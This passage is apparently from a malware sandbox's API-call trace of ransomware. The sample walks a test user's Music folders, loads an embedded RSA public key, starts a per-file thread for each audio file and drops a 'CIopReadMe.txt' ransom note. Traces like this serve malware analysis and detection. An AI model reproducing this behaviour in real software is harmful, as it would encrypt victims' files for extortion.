lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0096.339] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5c3310 [0096.339] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0096.339] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0096.339] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0096.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0096.339] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0096.339] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0096.340] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0096.340] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0096.340] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0096.340] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0096.340] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0096.340] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0096.340] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0096.340] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0096.340] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0096.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0096.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0096.340] SetErrorMode (uMode=0x1) returned 0x1 [0096.340] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0096.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.340] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0096.340] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5c3310 [0096.340] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.340] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.340] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.340] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.340] lstrcmpW (lpString1="aR-iIw.m4a", lpString2="..") returned 1 [0096.340] lstrcmpW (lpString1="aR-iIw.m4a", lpString2=".") returned 1 [0096.341] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.341] Sleep (dwMilliseconds=0xd) [0096.356] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.356] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="aR-iIw.m4a" | out: lpString1="aR-iIw.m4a") returned="aR-iIw.m4a" [0096.356] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0096.357] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0xffffffff) returned 0x0 [0096.390] SetErrorMode (uMode=0x1) returned 0x1 [0096.390] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.390] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0096.390] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0096.391] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0096.391] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0096.391] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0096.391] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0096.391] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0096.391] WriteFile (in: hFile=0x4f4, lpBuffer=0x5f8bd0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x5f8bd0*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0096.392] CloseHandle (hObject=0x4f4) returned 1 [0096.392] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.392] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav", lpString2="..") returned 1 [0096.392] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav", lpString2=".") returned 1 [0096.392] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.392] Sleep (dwMilliseconds=0xd) [0096.651] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.651] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="bWUX20g7Mm7g1y.wav" | out: lpString1="bWUX20g7Mm7g1y.wav") returned="bWUX20g7Mm7g1y.wav" [0096.651] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0096.651] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0096.681] SetErrorMode (uMode=0x1) returned 0x1 [0096.681] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.681] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0096.681] CloseHandle (hObject=0x4e8) returned 1 [0096.681] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.681] lstrcmpW (lpString1="g8L7418FmZslF.wav", lpString2="..") returned 1 [0096.682] lstrcmpW (lpString1="g8L7418FmZslF.wav", lpString2=".") returned 1 [0096.682] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.682] Sleep (dwMilliseconds=0xd) [0096.700] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.700] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="g8L7418FmZslF.wav" | out: lpString1="g8L7418FmZslF.wav") returned="g8L7418FmZslF.wav" [0096.700] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0096.700] SetErrorMode (uMode=0x1) returned 0x1 [0096.700] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.700] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0096.701] CloseHandle (hObject=0x4ec) returned 1 [0096.701] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.701] lstrcmpW (lpString1="lqlP4y.wav", lpString2="..") returned 1 [0096.701] lstrcmpW (lpString1="lqlP4y.wav", lpString2=".") returned 1 [0096.701] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.701] Sleep (dwMilliseconds=0xd) [0096.716] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.716] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="lqlP4y.wav" | out: lpString1="lqlP4y.wav") returned="lqlP4y.wav" [0096.716] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0096.716] SetErrorMode (uMode=0x1) returned 0x1 [0096.716] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.716] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0096.716] CloseHandle (hObject=0x4fc) returned 1 [0096.716] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.716] lstrcmpW (lpString1="NRNil.wav", lpString2="..") returned 1 [0096.716] lstrcmpW (lpString1="NRNil.wav", lpString2=".") returned 1 [0096.716] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.716] Sleep (dwMilliseconds=0xd) [0096.739] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.739] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="NRNil.wav" | out: lpString1="NRNil.wav") returned="NRNil.wav" [0096.739] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0096.740] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0xffffffff) returned 0x0 [0096.850] SetErrorMode (uMode=0x1) returned 0x1 [0096.850] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.850] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0096.851] CloseHandle (hObject=0x4fc) returned 1 [0096.851] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.851] lstrcmpW (lpString1="rKQbOo.m4a", lpString2="..") returned 1 [0096.851] lstrcmpW (lpString1="rKQbOo.m4a", lpString2=".") returned 1 [0096.851] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.851] Sleep (dwMilliseconds=0xd) [0096.872] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.872] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="rKQbOo.m4a" | out: lpString1="rKQbOo.m4a") returned="rKQbOo.m4a" [0096.872] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, 